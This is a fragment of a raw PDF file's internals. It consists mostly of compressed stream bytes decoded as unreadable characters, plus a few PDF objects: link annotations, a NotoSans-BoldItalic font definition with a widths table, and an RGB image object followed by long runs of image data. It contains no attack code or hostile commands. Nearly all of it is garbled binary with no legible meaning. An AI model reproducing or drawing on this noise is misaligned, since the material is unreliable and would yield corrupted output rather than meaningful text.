\Ԁ^=z6665kkkkC]?!r9rϏC31ۭ[k׮f%I cK=xg'00-hѢc8A=pT!{SX9L xbӢqŊ셻;wL2r022eggB5k0J_|Gr ";(Z-#DVP->'OI\s̑}KS ))iذaoѩHVu"TZE|Ӿ}{H.b9 \>ٍEs$͐dCN8qupK HNš%.~z:N!]-4jժ|J$f,T :΄O^-ׯvp +)z!&ij +29rr`+}]VVk h޵kW ߺuK^{fPQF/LvEL\\iܸd\Y8)\' /_^EnܸѠA׏4 ,!$aKAuֽ{nix@5:yCIxV[0`.jCBBAa!H1`bb"I|7oDEE6_ח0E i2sÇD"lK .ɖ-[@'!b5 6‚t% + + +7o۬$%%h˗/y&?.Hƍ\$:ٽ{wQ%@ۓQ%___H.ӧ̝;g925kX 0\6++>>,&D|0!~,d' qN\#ƉD#PQ  . HЅqtQPEADAP$(C$/B̭۷Ow:ñxN +9 IN:'b [o~P?r#?wM7=eQ]wݵs2?<'oȍ(b$ZO3Η)/| 4_[Nկ>|Ɨ׿W4l(vӟtY/|OyN>{o@_}(,zꩧ2'c7MyY{~7Qǿ/jv[.oǗ}T^iͿ{ʢ?q46~gя~)W*Y~wq-E:|:+Cl!k_A+iԧcEEG}[[y{WU\l0`lo)?{o{7O݈y;fc (cgdWD?u]oxGƖ,Z]I~뭷m~sd]x8yM݉_wwơoC="ϟ?;?shկ~5Fl0~_6cۋf5~[*ܸ{,} GvTSǣ\䤾ho'G#:LG,oco<|RgWh[oɽjg.)_O>Օ7Sʸ #'*2*Uei]W!Nr9䀼_>qp/8 ;'˿˿k*9U7n9ZΟEuKjy.ç~]\?zW˳ηj]3ݜ[倧>k#H\ &0rr{Nh<2j#692yx'ҍa~ZsɽYy-{)˨PZ]mUv^rYk +0\x/9YOQ+CMr2(sr9Vܸf==OCY8y@&Wg{=Ή)0F'+pρՖ̫_mNOry.u{yɓ ݖ{LnNᩃ59#Y1drIh.'O͑R^&Z|vrku~ͣ=#Ys8ANNp9 ̏ N]%94N֓vZ>}^_Ν5/^_wkYɑ\]y/1v-7z/"^r/{|Μ9sDϨz3j͍Ǫ’'͎dR%9Z w…0,MYo1K,Z&s\dQdW. +?'mv4'7b=^'zEdZ]6byyϬpdyY4Aq@Ŝ,?_/ 7Q̢ER[yOkܱNvX/)?v1'99>Η&,u,f+ߏK.(;eS +.CɼerE29v}5 5vZW~Y*_u# U:rfD死{aboL6\hG +NN"8ɮ;}\]Ʌ֟`}&X/2svQ9 @9 @9 tf+$Й:3` rLNAN@N@N +09 t&' 'h 'h 'Lv:c44@g&ANI1III3] '$$ $ $Йɮc@gr` rrrdW1I39 09 @9 @9 tf+$Й:3` rLNAN@N@N +09 t&' 'h 'h 'a`{{{Nxk={6ּpB2` r+uN>=@B̙3X.5'7{$$,W+4o%3+>'cdh\y20NfxJ[?O(gK,;Pol3ܹsͳvd}{$'ˍOeF߫l*3*̻5avJ6˽ +;;R 'am]YbIN˥-Vo*sv,7/Nhz7fKIIXnr)uٽUuo&'l*ԕ&9Yo's?Su$3$,nl}Ng'N.NӗɬѼ6}vܶ\UK]u='ʫ ]u&)K]ur+=,Tn۽Ócpr0CNp$Йɮc@gr` rrrdW1I39 09 @9 @9 tf+$Й:3` rLNAN@N@N +09 t&' 'h 'h 'Lv:c44@g&ANI1III3] '$$ $ $Йɮc@gr` rrrdW1I39 09 @9 @9 tf+$Й:3` rLNAN@N@N +09 t&' 'h 'h 'Lv:c44@g&ANI1III3] '$$ $ $Йɮc@gr` rrrdW1I39 09 @9 @9 tf+$Й:3` rLNAN@N@N +09 t&' 'h 'h 'Lv:c44@g&ANI1III3] '$$ $ $Йɮc@gr` rrrdW1I39 09 @9 @9 tf+$Й:3` rLNAN@N@N +09 t&'p|} 31$pA +endstream +endobj +377 0 obj +<< +/BS << +/W 0 +>> +/Dest [32 0 R /XYZ 40 577 0] +/F 4 +/Rect [219.83 713.14 237.9 728.14] +/StructParent 257 +/Subtype /Link +>> +endobj +378 0 obj +<< +/BS << +/W 0 +>> +/Dest [32 0 R /XYZ 40 577 0] +/F 4 +/Rect [108.1 700.14 219.3 713.14] +/StructParent 258 +/Subtype /Link +>> +endobj +379 0 obj +<< +/Length 4397 +/Filter /FlateDecode +>> +stream +x]n6n o[e)P6wm/Mrw~N u5ރM.oq -m k 9q~#Ûmg/՛כ^~}ybz}Yy ruqyWգ'_4ucUSI-kuV7NE~pguW>8bSm5+#+U5W'?}͢ZT냓뿏lk/kf$;]oZÉв49Ϫ[ry*].[109 SFVmt9uϯbq vXJg[ZvOw/.Atdy+kzD^z:a]Eޮjqqw?/> Hj? pTmnzQ+䵨ڮVSz,Ϗ6*O6){n66n 36GeɼqSںQim_6_ۼ}F9kZImթsU>C^s/ahms-񹴵Yo&pDslbBɤ G7Ӛ?Ey }7ǿBƻ w?ќ{\;9W(кs}{-`ҴȚI^x[+wajɦ=276U4?1Ř{C8mb򮭌_-]J: w?ok]0Qb9C٫zlξ]U7YTJ Eut4h ]oMbM/j&sOH9~5Ms3VؚG#nePRib +4Є+s0;>x)ǽIt,oaïw7vlWvCI~ !?`]Ͳv;ZpIkqdbe7Offi&b#teF^zqylr3־nw&tfr"DIA@7̧\ɺf yA.L;?/קx7`Gn؄fwG\ y@VH4ht3:%3I|N^J{Cӌ ޳Z:Pz‹xOHH 탖xKC# >eT$LdkQ+08(|Gȍ7_>}eJQrN"Eݖ9UU0h1 ǘ 8nm`qsi|3H m E}\K]siuab4xo`.=Rt<A;Xieztr 9xQS#ϵ&R.#=5À9^ $ Fǡׂ\, +&xndT8b +.ЕgPrD5$cmiמ0nn;Mc!L-R'"7INyBY0mcA-ܪr&$OLӠР>OV|F{i}PkDB*AGژA+-ЕPNr45$#ElҒ`juMħ8  ;Y$EhK.L ɓ]d'~4,;+w2#ۨ o;}~]{4# o2z%=xGޚbƌV~%*oa"`w*8%"SV)d49UcD&/[@~<*ٯԇi340Q\]ǒ|Dtc4rIoMEgΎ6 1Az׵;X*q >j*̶ '^h:UE77F˴A {zy$s< 3&J c<f'3҇ꝔO`v #YuPi]}"hc*;2;ޗ8 +pnc),bo7(ųDd1 ^lo%"JdRZi|(eL$e$E7bYuܿO >ZE~ER2 QP% j]ۘOl,z.;i ^~]VTf*V)49:%oEIrоnLE]*J u{ѯRcJ2PHNdGB#۩$CўgyDBf%KE70b/M*wu~#fd$7Ƭ~ +bjj܁>Na$Fh_-ݒN`/GK?G-!M>dy6!ɐ,41rj z/Bc?h^i|? d(QY;,|XьvF5ӵ`&yUD=:GԑuLBH;_ёq]t۶TK^%),6&'(HUAOB⪠c(F7淦?6֖D>q1NG>̙13g|',;l"aw6 N%T|*7&"_ih;i`|"% GMv[*t%D lYlMNaBSt#|=Zdm=/G,rDOn|yN [ذ`UEQԈ7 ݗ,pzp), C!ژ {O8MhdZ]IgBr߯4?t=rz/DOn3df3;&Cijc1)>h`n}_Vf[_5ħ'9jWO43NV,c mLL$s ɧLLi!҂4-pRxZ4v>C~ȇ=&=W&#mL`i`u3CLZ&ZNشY6%uin`9w ×}p3 Vt +KX1B-aES!yV,u`[Alx~PVtR8+= V򬈉ƒN6X`۱"3H<+pVhgȴY6Y1vlVHy&Nag.xg%o|(F${g.&ۈ%%$@hGHOn%rrx۝6$mIWL *+Janv/dS8Wj)ϻ/ᕋ'xVF~C &nKk0bMw$FCY&[_ =^دuN\:d/#?|dB1FyrWv+]w)7$5H\(,: +endstream +endobj +380 0 obj +<< +/Length 952 +/Filter /FlateDecode +>> +stream +xX[o6~7QDC q4 +4=}l5PK%ۿkEϡ5.AlX!ue']WN>VSrՇlޖE]vή6v8*p5D9 +A,d]  pp:W8&-φ '\&11.x bW[ؙ=ה$%lx9ܛCddAPs],$Sh.[ӺKRCD0(GCqhV( qOm9|qm߼}IM,3&c>'r΄ l zT4 +ˊit87'!8I>YwΥLIt8#Y!CpU%r{sP<ǞnpVO)&4 /:{7͈dlrt] 'WMEL(>F ml-2ɵaR`* + ?􄭥^its:~Hs:y?s$dՓs0Ph2L̗-#`0HY}h"seV͙w;E3P7In\B#跔˝3ɺ᤿,؃#㘃iuDwLiX+r֐=5]y]Zb \#=a6`gya`r=a2A*ઐg X3o0-W;+,[~[O>yZ`.iJ#Ѡ].=YR} .dpv `,D +endstream +endobj +381 0 obj +<< +/BaseFont /BCDNEE+NotoSans-BoldItalic +/Encoding /WinAnsiEncoding +/FirstChar 32 +/FontDescriptor 4079 0 R +/LastChar 232 +/Name /F13 +/Subtype /TrueType +/Type /Font +/Widths [260 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 551 551 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 542 0 0 +0 0 0 0 0 0 0 0 0 0 +609 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 483 594 557 +373 594 604 297 0 0 297 905 604 0 +595 0 421 473 0 0 0 0 531 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +0 0 0 0 0 0 0 0 0 0 +557] +>> +endobj +382 0 obj +<< +/Length 93279 +/BitsPerComponent 8 +/ColorSpace /DeviceRGB +/Filter /FlateDecode +/Height 622 +/Interpolate false +/Subtype /Image +/Type /XObject +/Width 1225 +>> +stream +xyGDYB7pqAA I41@/D=F( +AD%F F" +*Ā K>{޹1UWz.B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!B!BR1k֬,/e.s\2e.s!}緿md\r,[!=\2e.s\2/SM,z)B! ՒB!BHP- !B!ՒRB!B!2ZBJՒB!2ZB!B)%!B!ZBJ;B!TTKBH ZB!TTKB!B!B$B!R TKBH aXB!ʀjI)!TKB!ʀjI!B!@B!B +jI)!K!RP- !%jI!RP- !B!ՒB!BHP- !%b !B*%!P- !B*%!B!ZB!B)%!C,!BHe@$%!BHe@$B!R TKB!B!B$v%B B$lVKtMN!%!Bj 'PZҥ?OCv^U[xz$L?XiBnmڴ)<%RnP- !RdZj+Xȣ@SXZBHB$v%"2 nխٿ+´1Qveᆱ`:h6\Vw3=ҙ`ӤL!B$:PK<9q,>1V<CQD& +n{߉l6J5"צ*A/%8R#\H࢓H솕xc06"[X!b؜R+sݺu%dw%Xp;Pu^I8T˒ӗCR! +Vq6oIw^S'!6\Eʂ⍤S*]MRwUCѶ8xeAjI,-(uZ*He0Gj72eƛG?;}_K'g:lZZJv$v*!TNUbZpl +lg6RKRjQ_;PaRF`ղ^ujL_rǦJr$I`O!bԲp@- )CF->`W… &+tT&Sg'x‰bgCN?t $ !بPS]5R"$#G:o/BB6_B6e$w㉗k7@\S6KtjWY+kS-IkɞwG$҆)?I+KˤtY},KB*I-Mx`}[I9[K:i!y9B+Z ]B]˺^)Z k\pڞ{I>?R`͂ީ5@JC+5mo^VVNkP~21RbjqVB) +VKjiҼOzogfϜdy4"F`#K/M[ !%A~.`;# `>z+~zA^>z뵙R-ͩ>:XꞺd?R`UHgUm +ߔ5SzT۰J3iG MOS[]OiR/aBrRIjsi}zq]hteAp4FAK4N'_V'ә-RQ7̍ ѫipDFDΤSKY9YDM#QN +{BmA%Ũw5DM=ʿRYw<ˆdjI!6x8Ti^#}} +~N!Zӑ?-wU ib|EB֜w08(ҨoRiQ?e͗NJ^e6XTKB!`PҼ^1PxVLHrߔ<iUs +YJRR+t}<$IjI!lnTZ2ͳJäy$?8OGvk. v̄ +{@DΐƈYCle!;()Ɣ퇓ZFO*%!RTZf79UQG-3YtF< /#9jI{I˸K)dwFҠ .G(ZZeqLU%ep(NJ _ ՒB{*R-3{jǒ4 >i?[<JKv2|~]rSR$ʹhWs"gƭGsgi\"A~|DV'X#κvNݤ#UngpRU`) H\-m31RY@ !Sji"Xi^XعwGc>DcIHB*kR>yOe2i7 G3UGVfo#ninSo9i xNrzn!XN' BKeÒ'*>n X#~PALU6e*=4;N-Rx ~dlD\/jaXvKB/%1MEe')j!;svk'xB +|ԼOVDz~?2m \ r#YFlPB!TZf4/nI!S.82=)pDVUo5HCHI_cSQiBpT!U `jԾtc]7'Ig0Ui^E&$?_'޳YoY?!DN}{eF0'~5x&kd^/ݤ RA?L}a. 9_KBoQ~vҴB* %m7JULoA%eUuG!69d8YJosH4iͲIU"'So *"eO!!w,sRC!Ւ*GHïbT{`'97i,UL3ŒiJ(IR&sjj{fYN)eO$n]tˏaRIRZ +Ւ8r: Ւ*qeO.ZlQKέZ#lr2~DQ2Eqcrz:&uY# +TKI7frT$jYP- !T$~Hwml(8Sm)G14h7 +N$2HA4R]39KCN<7MGӒ^-#>N)-TKB!KzG>Π"SAmtFPH2YlrM`"'%jI-##%!C,!(5PK3@/(tMJĮME魸YoaYyRo3RX"n@$%!i|S +Q˔M]¦I3~W`RK].rdSÙ|N.>?`AHC$BH ~v̩~#z9C⛤XҴ &[[-Αwyt|)S-Cn !ՒB!5C>p!ꡒrX;?v/+NLٔS,)>|RLjK#8fYlt; әV4k\-嗖R&P- !%88ne?>y¦o&I $8ȎLYjisliDz,9KOO0GICio2iKB%!D3!BH=jI!B!@B!B +jI)!K!RP- !%jI!RP- !B!ՒB!BHP- !%b ۴i܊o#G>1ٿ48g̋^z-`R+߯tJ8! +%!P- Z + )Z"@EjY +[Y0 Bru*ՒRP- !/Tl,z \Lb/DTzSՒRP-7O:NBqwWc丒v^Vjk(/zڨT[8\V!*: 5z߯;i?`#j7~3-aiՕd8"BHq$ tʐqӶ]} sRc!zhGAj)6; $kDtʭ#ZjzVvYRCf*X-i3} &o. !D}WK2SkqyM@SX$ZROQIqӕ"VXT +vT mX}F->AtZZm;i$y6_Iv̑ߊ̅mtFlrZQ=r !(w5v'}g( Rؑ#v#~;ο~ ְ'5S3Lu^1I-/Bj ])K&a`ъ8)MҺfҩ6S:iuE i`|IXK*ߑ_C!Ţe a,-qZdLJ\VK 0Q]TKWwз[N1&SRtc!U9H!V,Y紶%1JzlZ*9b_~EKjiIᅣzIB34iEUMQ6;VCN tu*\Gg"Tcft {% !~aUNQۋֶVdz02%JZٚ^-{ۉnA[_6%( !uCVLQV-6K-BLh  +BR(^q@s<6G-uvg*!uՒzu1ƥF;d{`ێ AqUm O΄—CN?(2n04gejH$]-m eVˤ85c)w` I|^ Z BI,Tuqf۳BU VxnC=Fd); +=%TNkZ:f#!@Zg~#9Zddem̘YlcXY.Y! G-}}Z!"EV6ݩl7!it"XI:WbLΆ/鉴ݙ6w-lrdO=Zfߵoiҟy +U/ubZdWWKښ 76@$%>B!Ke TgpVYA$B 4#FIB!BHB$B!R TKBH aXB!ʀjI)!TKB!ʀjI!B!@B.k'k@qg{饗{2-R>c̙5LB)9TKBH aXB)B +Tj/\k=2JYOT. !eՒRBSs]FpsPKqC(.i%E4b-S%!BEeuC`?-m,&|kl\]V#j=t* C(lb%OJd,krbҎ>pnN&8=I+D[_dXZJSN[ǫ|sͲ"'n)C'x + !QS'ޘF-5=PqZ-M۪Tɩm-`xdH %,&S-tBHPj}rtzMo'9 <2xgĩrԠ*)2#b5rdMlJrSo *"eO!II7'BLnRd*Z?m7j>= jӉ@[ " NM!&$5Z+}/B +P$GHfl$*c-&ifݜMx4IMp$[aPM]`o +L8ORUYT$L$ZRO.HL:l/0LNkJYzv%QI#IM"sZBJE}WK_t,928-xE.S#l3Ɉ`"dm4)%I-kxi!QL) ʡMBH}0Up#;|JTkġ`lwKj_B:]wqYIjIj)Ib !F}WHS-ڂuG&]XpU",24!N]KͲ/;R_'mr^- !7L{㎭hzT1s%VRrZ:zA3bP- +F$]-ӌE3e؅Zꄐfԡ]ߤߺRZ)fYY؃O4i8b)ՒS(4:=__~b7g/C֯_qƜG}W( oذ!M3^) +6n~Yl铪q&YtW!HC3Uܤ'[|MEZ8߸l J^ӧ%I-Q CGHP9":f3Q˜c--HS)P-hҎ7lX-2%$\yC'f(TjIɋ"̙3/sk;K/}._kns=w&LOG\r')R ꫯ^hQ8̚5 C g}3(ӧZիW8p… ^~m$I<|"pX'jZ%i2MRgYhiK-f٥YlJ?4IqOc?U)6naOeϝ;75~Ixi%um۶vm7f̘2 ˽zR袋9 jŊP-2ê&Lzw=gΝ,Y"-X裏3:ujk;0 7.p 稣zw4{?AΣw{ᄏUVZH+~'^L!n0qtB>l G?>\q)rH|xHH2i⼋r#@ȃq|W_}uegu?d-8묳VZ< +v{%\zj?\wޠAO\hQ΂Zf͠A4iWf'Z>s{Gpc6o޼N:IShر?C,b֢E 9cֻ?a^IϑGi[-'OF-̘1#sOvB!G?Ae.nتF4ؽ`2 +gxEdS&S-)>}o E~qRn>8 +,yDq65k[d_|C^|;y&r>}^{?"XT~8 v=8|H%\S#Z.!Ι3{Z+D >O?gjI!$l8j_Q`?OUjiA2DO|wsO Cv(w8dC9dF6 qǏلjui +m)  ^}սK7?i^ ~=z'D+}wƍk޼lܹ}5eQ۩Sy 6W^&T壖=P~'Q- !TKBH qS>5PK8Űad$Xh\`[D}t*zʶ碨m$֯_)xʕlԨQ۶Zi|ڷo3HW8Z;6wK?ZB)"ƅe.]Νk"}WKq7xgϞ^b}Æ !H!äÆ&4hl(ĵ6 4(i67ZHҪUٳgQZڣ̂pG}T{-Zu]+]vEfeSz jc)N̙M$RP- !s Bŗ-[v7Dp/k)\x1:tUW]%`.ѣ,LQKҥKǍ=acƌ8p`~pC=Gij!,c"GWl[oſP>ݻwǿk>d9,F=z}gQV-z;xdpm⋐2=_!(jN{f͚3f 8sM'ӧ?R-QԈ y⋻uf?Iٶm[$Ƀ|ar(#8bذa~޽sO-C (͛W;C 'OF\(7 p~_W_ZB)+ + xyE + 5"'t8QK8{Y*~:&5mrRK0B|w3iӦ?p&rj 0a^D"7l؀xo}g/B$A馛t\g˖- +N>dmZ :8VB WX/QkP&i9Rj .l߾=V6l0HO?2QKn*:-sT69#G`$O!TKBH IZ=:u fD-4팥[nAdm۶o?!#͚5o-)7𾔳<䓭[Yf֊畣xwyj9iD-4 x; *DoqsoٳK +ݞ>}~90V;Sr79TU[f}_FNjI!ՒRBpj9v4߻oki`-[/>&^3fVGmٲeU5͉&I&>W_}@,V-3g)mJr} '̝;7<]0j(nO3}MV:S1z A@N4jhĈҭԖL&+gAu7k nZ.Z7 +Z-X U& V~:!K4S- !j)o5U|߰jB>?7Ϋj-cUW:Gy3LH]Wq#"HG:tpg}gngϞ{ +%5͚5 +DqM6mʔ)Ӳ:u}wuAYgqa_~M'b5~iW!;SJoD<>IRaXo?@ +6Rr#!<3IJZjjРA%m{Bֆ [^ĉ$Dg{i=eO=sEwm7<; Ν;C55S7xCT="zꩧZJMa5TsRlCA#8g?,)M$OVJIW$lTZN+/*ZJOSmh9I_UH'(%)Oreq[-U˽zk{g˗/_b8NU kδɲ{[.A(2Ӹnݺ/T6nܸe˖m j!hL-O?"%AFF#^k]x1y뭷@l.]H7on;bС2G({xp%K8GTx/BnT\Իmݶl2$ "٩S'mcUl֬YeRX8XMj4q#tzɣ=;ʿR3&_[hB)*C-gq3w6JԅRK[ ~/}\P-O32Ptڵg}vFd榖]lլR5wks^tLҪߦǶ:*vRH!Jee& +vV";&"S̉Z:+m)Ҿᴇ84Lb+O=#Uc^2՟@ !$/JMЊ+WBb֬Y/ŋy;nEtIǏח,Y.H(;~sΟ?vQf4i^{uQGgҥˡڮ]]N8q9U`F)rH|0_3gIW8 4y'q%H-o?>|s=VZu 7[·r +SO_~l2;ƹԩ>샴mVԤIl +o&k8VٳjvjӋbASq:FRU;`gBN7!CFVKB@Ũߔyi+,#AU'3ڪAd3Zf~Tc'}cǎvXΝ?iӦoÅ裏BdѩG})S@pO>ftG4JcղaÆ{F +Z֭[ݏ8;<*5}HvL)WU0S~2nk?.SxsWXs,X@믿G(mݺu=m^@,]4(tU _~gg̘qg.5 +s[DàZ~PQr'XcVh,#v}Lj5XgZ%!dsbۥ28xv״jZIhz-QKi(_-VYE&y3 ;Un&) RįIƍq9[:|f͚ .*7F\ cƌ6\Zh^+W›r&\ve:pÆ _Wжm[hmuMEa9#LGUqjѢE0prPzji߅Gc:pS~o4v͘_B}IVW'|BH*F-G$LVe +KqSRד~2jK'9֎aH +mW^ik>:[ETK T^K*1N\-o4w!_L?&6m3;.[LZz5GYQg~g=kҤIjgǏWl޼ٳvC9$ggQH@^ĭҤIɓ''}łRkurG,_\jyA͜9S:~SD$T6MsQLut^NjuwmiPjj!9I'y}9 j6JR믗6lpX> j)K +yGUul$MTlb=E ˮb/!"AD1XYė,ĠQcO,ڞ{|`{s|1n D2--m~!diiN,X؈lEݹsGH,Y2>>yLw222ڶmG +S$ J"kuIX4*]Ç:c*/00NP >~|pk׮5iDa'NǏ[.2ƍk#q 6Q]ahh(\ڻwotO%nѣGAq-tu(:hyM6ݺu%Zxaw-R @bC0>|mD6L VmRO_4$h )@h"%$7^6O3/ +u[&qz= +l޼yRR=?yʕ+.]m&P޹s^hifXFZj&O|1p[nS-?gY ,???{{{T^vm0,/^xрpttTlHkTVJ* +nnn+V@_Pe˖ZhQӦMQzDWlVՙ05.w=11I.\97k֬N:@BOyTR+H\2 +۷oct`C,Y|$}2)..K\'غuk^#xI&u !C2FKғ'Of͚E]=J峖\ghh^M)'OVVM&Kx^zRJJJ*-;v?_ -L +P^"&233D<ݻw#..߾};̧#CIW.Yj%m۶MMM}Nrss#)慵.c4Z.VXAhy͚5ހ}) +vvv6RRRRR$ZJII)\sΔ +X +%hBʬZ*>.\A )Z޲eK-']\5ͷy{{Z[ -Gz"4Y[[À+4l&-[-/_ 0IpZ:u*U$NltfYEz`dNxyU +fkXٸqcTeNN[qZ/-LEGʔ)۪UчW`zmee)aXK)~u0W.]"`]>|~ׯ__r% f hѢ4hhƌ`Q_A|J---- ݻwo޼yԩ=zh۶-kS-ZP0>k׮E/saaa>(EhR͛={$jذ!e޽۷o0a?\ سgϏ?3jԨN:kͅlذ#i۶mG(xر_~T!R -ܹ޽{6mǾ{cǎ /pT`)ie;;;ܵkǍ 3tz$$tmݺu;v` -ZH=ڵK'Olұc:u길|D1 +Z +VZ}wS m޼9BBBϞ=Î;@N:r䈳3%qD͋-rssi +O58 +u߿РAhK.@<}-իnذۻqư yf*LLL޽;2N26 ˷mۆpcȳo> N{?0RhƟ;w9f~I۶m`Ɣ)SlllzW (BKӭ[7㘿'K)))))7-ጪ=*Ñ7Sꫯz7s ~ExO׍OÔz)#Z޸qHo<)VB 0kԨ#1'`^0@KIA\CdPaINNk!%t5xAOI`a8Y&7CTZ kf!6;;ĉEӭ[-E2eUhb(#q6`ժUQftu֭0K,cH6ĠEXă?Rp;̈"ŋ s iii0EAѣG0AȀڷoҥK͒E]6YYY9%Ā0 k),޺ +Z6f@\|ă+B +h)|RAH<IkM0VM RKׯ-M˞ifM)Zr6m*O^~QH6m1b?p$!!e=Ptt4yi`h(%%%%%U`T0x X$H(w ^+\!zAkzݚ8q*.ÇZ&Ϗϥ֭[S[m$J5>LOzyyS+G˰0½O>ASL;vyL"i$$-[r/r?W-&MB=0fر f͚:hѨK\Q۷>}ʕ+as3( 2KX8h CS-` tss`c0 a5x}.Y$,,lժUO'`lٲb +$%&&޿_3ȩQwie fΜ0k"vQuP]6m)됥ޖ + Zp6D4^)O +BQO2ВW@(s뛪%}Tt.#HI>}:{lO>&IReeeUp"E}y*T5|}&,m(Cͽ{(_P +@<< )]4777~U`eڵkpN*U4=111o߆===Tg-B$kkk"9sn R8p˗E0'N8;;" ^R]sK:v*>CT;nܸ7oBK8 0ik,Ht\B݄Ÿ U)))))ĔhIkG:g0GWl1ZN&Ω; +չotВ;VJt]t;AAA 1Edb~~~d}?4cƌrʁ.U}(RXC(ʕ+=zѣL +޽Hb\>ݝ1sJ*iE B.ӧߺu#PmԩAM6EGh GKTbŊ,1˫wސ!CLS I`A|.|"IQR J*ԩS$Xcō!jtd`gddWhIEL!S.8)M-*RqݘzަU+LxfΗN>=qaÆ͛7oA-:uj@@޽i|ҽ{A 8pP1cΝ z DEE6oݼy+Wh"Ν;-+7߄!?$<4(&h d@4 *TС 㿞Errrtt9s`Ak׮)be6m&OxUV9Ph jР8 x޷o_#Κ5kB <-xVM-@%p`C0/I8рT"\Çx Aeʔ: 5߻wO{)K, P +DdMGK $WTOOOO8b  +}zժUq?4nxÆ &%a`0ѨuFT"3νy󦻻; :ʊtop"M1k PV_NH1YHL + +Z5T1hƶ% +p߀AxxhV*rȳ)В7V-hqlQtVu]T-FQ=t|~RRoX7os>1ȤIbcc4.TcGGGUѣM=x`„ qÈķ΢"oN_s.2OaPAB\5tG#;(9Z Ώ<"`|('7޸3ZjI\NzV.%t޽vtPϸ5j+VDNS*_@;vLKK'4QV5c4%DEEG[nM$''Vhc~_%0#J]te˖М O>M#FSTxΝ&MP6?$ <%kiaa!- cAsZ;aD -GGG“ÇgffuU^]\+M2ؕf/믿nܸb#I/6t Ǐ@%~KKKTG+++"_[|+Wfdd\7HpºuHR8Z#… +EU]vAJN3-AիWC/bbb(:իW/BΝ;Œ])ڪ\2]VG`8; btzmcc&Mx"B7Z;gϞe~3#gٲe`ˎ;ju}:/^ Bhkk+K]I\d -Em0LLLl׮n!8v{}+ b3دpS +fkN䨮U5@JJJJuKT1Zң;GK61b> b³ G9f̘y9!ҥK-Z$³4zh|-X@$-|m ) Y[paP lq~,߲e Hر*Z"? nɨ_~ \ըfyEKssf͚q9+#nݺ(^ѲEL ubtfϞ -[ C#b: + + + !I Č30# }'PDwPGl۷O?UVӧOGUJ~bPP +w +>wԩS<`|ޠA>%C̙ѩ5khg-p)В"$8U,QEK%I))))-RRROh 4I +裏@L"0`@JJ +U?hѢPreAxڵk>3d+]4>_w+Qr=zO$4  [ '8Ǫ\k@:ZO-0X4!t㏅@͛7kpQ޽y KK˨( Ἇh Sc4،޺u+lpk +p0ֳEХK). '*駟ZlENCkk배0 ?2%|R   3S1ۈn֨QC8oq_{{3k OYhNuR\0BhYK))))7&RRRoQ9߫UIhQ-[hB5{vEhVLLLR([PPFSgyzz_ח۷&GWWןY$^ؐ!+M򼼼L V?c T-LMM֭Zhյ`Zj fTwhIqիG"ԼysjӧM. (ph ܹsya-(Q̙3wkjgfD{-ŞJТ6'O}zMh)%%%ZZ9 \...G:dɒZQbvE:, ,{mƻ#Ntlgӧ?~葘DŽD0$ڀ;v\腇֜)ƈBJHH6$MXhjgGԩS -5j$zGQ0m۶կ__]x@DRZV"3thjh]bI⭂=͞% 婢eb)@RRRRR[- +h >}dɒ-[6*WܧO)))!n' zzx*U~D_JIIIIII*xڿ=GŋXXXY$\HH˗ohӦZbRuΝ;ZQ:A._|QT) + +Ά % hIII KX@Tqx]dI+WD7ovss.uW.]A=\ -2A駟P˗mp/wl𿇇_2>>/,W׿ōwuuݹs'*U[nŐQ>?u@ Gzzqۣ@K4t3UrxYp'PݳgOkkkTwJڛ4i$ЯQF!װn933"B,=99k{RJJJJJH[xfjtJ\K0oߞ&Gggg 7-)_Ĥ"<bQHZJ/ԅ ZjEvΝ;N4{-W\ R5xȐ! G .ˆSt(/t"*ThjO2Ŕ\ٳiΟ?߬Y3՜׮]怓+GÆ i3Bؗ)))))7| Qq%q)N2n] bÈ)~)wM'߫ݶm[_5jHLL{RA/_tuWWW+9A-ZXX1͛999={TSD'NPN`fr^ R +*摑uti'''<00Pu%r̙|3׸qnݺ4g=TөmFOnb\ƞ={h^^^W\Njr>|VdC'W-'qN[J N5X$ZJIeeedЩS,YҮ]-[6oOZWHO._f}tt41T*bxhjժj#Gf͚Ŕk:vM_~VZoll,LEmSNF6m@p|2mll@C[vpp:tL"rժU{>wΝV]6mڴm6mڴAǏ߱c*ߵkץKʕ+9r0xTc7i}ݴ{/&NG**᧗o4=z^H 5W^_~0"+VX[[%~8ѩSRpWcLII9l^(y0˗/+ÇW\AN= :HgǏo)>kپ}5k֠BXIeڵfp{Æ njCJIIIII *hW_)V-I! M xtB/ "$lVLJII);,@ +aP#$=tj bZt_´4&J-{Ah@>CvT")55/5k0_iuhNk.:oٳ)kɒ%׭[G}:hЫY&e hZB$$۷OQ%]>higgg"Zr/^NJIIIIIw^ +yƼ%)DGniƍӑuyC4[AZ-z'2]"|Px֭[={R-[VLU] -Ź + ъH|G[nՋrر7nI6mP%M4_݀i%hGGEE 666"j֭DYXX֨鼡b*::lg#f8ZⴠeUᓜZ*3HIIIII8xV 1oI@&?UOQN)H_\'ZxXK+7>EziӦ$ .))W>;vhթpHM|GKחrS,777Jk.2226mJI3gjF"E6nHٶoNc+W`3fB> hZjQ,Y@KruttLLLTeFpR@sGK'''EǎBKgggz(+B7$u//+~9$#bFRtCs +53k)X/RRɓ-p@Ѝ… cкu֯_WIӠCB%޽;<<<2229987c`ElQ. ^ AE4b!YD +TTP)Ď`CrыQF?5f]gY5#`:wfϞ=缿33{${-){f>UԒjeG -lf͢3P\B@ ;vСChue77;99*r.]ܹAsvv#FnAOެSKm!BZ3fiyÇ7mϧM>8p@1.ӵkP}(Ƨmsyї+L'|N8~c(IEC˚5kb [އH\]]TxomV{-% y7 V.6SIvOhI(Z(N}ZhKDPXAՎg}R1;K}mIu5ɛoUl:eBio!m,T2yp6%qIn|E絣;/ + Y:ZjL24>h|/HВ odlOC1gh)=ΝK[zElW>}._iyuЁ.͛7O -===i~o߾tݻw---7|Cz'*j%/>*`]ҺutO+l%ݏm:>Za !-RL$WJJq=4 3ܷo9~%PZZzRCiӦMU-%?/ zS<^I]̒'4U^Pp(ǼRL;Ob}310Ts^;$--g-=|D{ΰn)_[_*Tef d?*ľ$SŋiU!\pH{n l2 